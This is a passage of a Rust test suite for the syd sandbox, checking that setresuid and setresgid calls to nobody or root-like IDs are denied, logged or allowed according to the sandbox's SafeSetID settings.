        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_deny_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["-1", "65534", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_deny_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["65534", "-1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_deny_4() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["-1", "65534", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_deny_5() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["65534", "65534", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_deny_6() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["65534", "-1", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_deny_7() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SAFETY: Set the comment to test setresuid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["65534", "65534", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setresuid_root_safesetid_deny_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["-1", "-1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setresuid_root_safesetid_deny_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setreuid", ["-1", "1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setresuid_root_safesetid_deny_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["1", "-1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setresuid_root_safesetid_deny_4() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["-1", "1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setresuid_root_safesetid_deny_5() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["1", "1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setresuid_root_safesetid_deny_6() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["1", "-1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setresuid_root_safesetid_deny_7() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled, but no UID transition defined.
    // The syscall must fail with Errno=0 with UID<=UID_MIN.
    // Note we use UID=1 rather than UID=0 because this test is
    // typically run as root so if we run as UID=0 we cannot
    // detect the non-UID-change despite setresuid success.

    // SAFETY: Compared to the test setresuid_nobody_safesetid_deny, this
    // test _must not_ generate a syd access violation, because UID
    // change to root must be blocked by the kernel-level parent seccomp
    // filter. This is crucial security-wise so we test it here by
    // overriding SYD_LOG and setting SYD_LOG_FD.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .do_("setresuid", ["1", "1", "1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; no access violation raised as expected.");
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
            return Err(TestError("Unexpected access violation logged.".to_string()));
        }
    }

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_allow_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setresuid", ["-1", "-1", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_allow_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setresuid", ["-1", "65534", "-1"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_allow_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setresuid", ["65534", "-1", "-1"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_allow_4() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setresuid", ["-1", "65534", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_allow_5() -> TestResult {
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setresuid", ["65534", "65534", "-1"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_allow_6() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setresuid", ["65534", "-1", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setresuid_nobody_safesetid_allow_7() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setuid");

    // SafeSetID is enabled with UID transition defined.
    // The syscall must succeed.
    let uid = Uid::current();
    let status = syd()
        .p("off")
        .m("trace/allow_safe_setuid:1")
        .m(format!("setuid+{uid}:nobody"))
        .do_("setresuid", ["65534", "65534", "65534"])
        .status()
        .expect("execute syd");
    // EINVAL: uid/gid not mapped in user-ns.
    assert_status_code_matches!(status, 0 | nix::libc::EINVAL);

    Ok(())
}

fn test_syd_setresgid_nobody_default_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["-1", "-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_default_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["-1", "65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_default_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["65534", "-1", "-1"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_default_4() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["-1", "65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_default_5() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["65534", "65534", "-1"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_default_6() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["65534", "-1", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_default_7() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // Default filter denies privileged {U,G}IDs.
    // Test must return EPERM.
    let status = syd()
        .p("off")
        .do_("setresgid", ["65534", "65534", "65534"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_deny_1() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["-1", "-1", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_deny_2() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["-1", "65534", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_deny_3() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["65534", "-1", "-1"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_deny_4() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
    let (fd_rd, fd_rw) = match pipe() {
        Ok((fd_rd, fd_rw)) => (fd_rd, fd_rw),
        Err(errno) => return Err(TestError(format!("error creating pipe: {errno}!"))),
    };

    // SafeSetID is enabled, but no GID transition defined.
    // The syscall must fail with EPERM _and_ generate an access violation.
    let status = syd()
        .log("warn")
        .log_fd(fd_rw.as_raw_fd())
        .p("off")
        .m("trace/allow_safe_setgid:1")
        .do_("setresgid", ["-1", "65534", "65534"])
        .status()
        .expect("execute syd");
    drop(fd_rw);
    assert_status_denied!(status);

    // Convert raw file descriptor to File, then to BufReader
    let file = File::from(fd_rd);
    let reader = BufReader::new(file);

    let data = reader
        .lines()
        .map(|l| l.expect("read from pipe"))
        .filter(|l| l.contains("\"safesetid\""))
        .collect::<Vec<_>>()
        .join("\n");
    match data.len() {
        0 => {
            eprintln!("No data read from pipe; expected access violation.");
            return Err(TestError(
                "Expected access violation not logged.".to_string(),
            ));
        }
        _ => {
            // If any data was read, log it.
            eprint!("Access violation logged:\n{data}");
        }
    }

    Ok(())
}

fn test_syd_setresgid_nobody_safesetid_deny_5() -> TestResult {
    skip_if_strace!();
    skip_unless_cap!("setgid");

    // SAFETY: Set the comment to test setresgid_root_safesetid_deny.
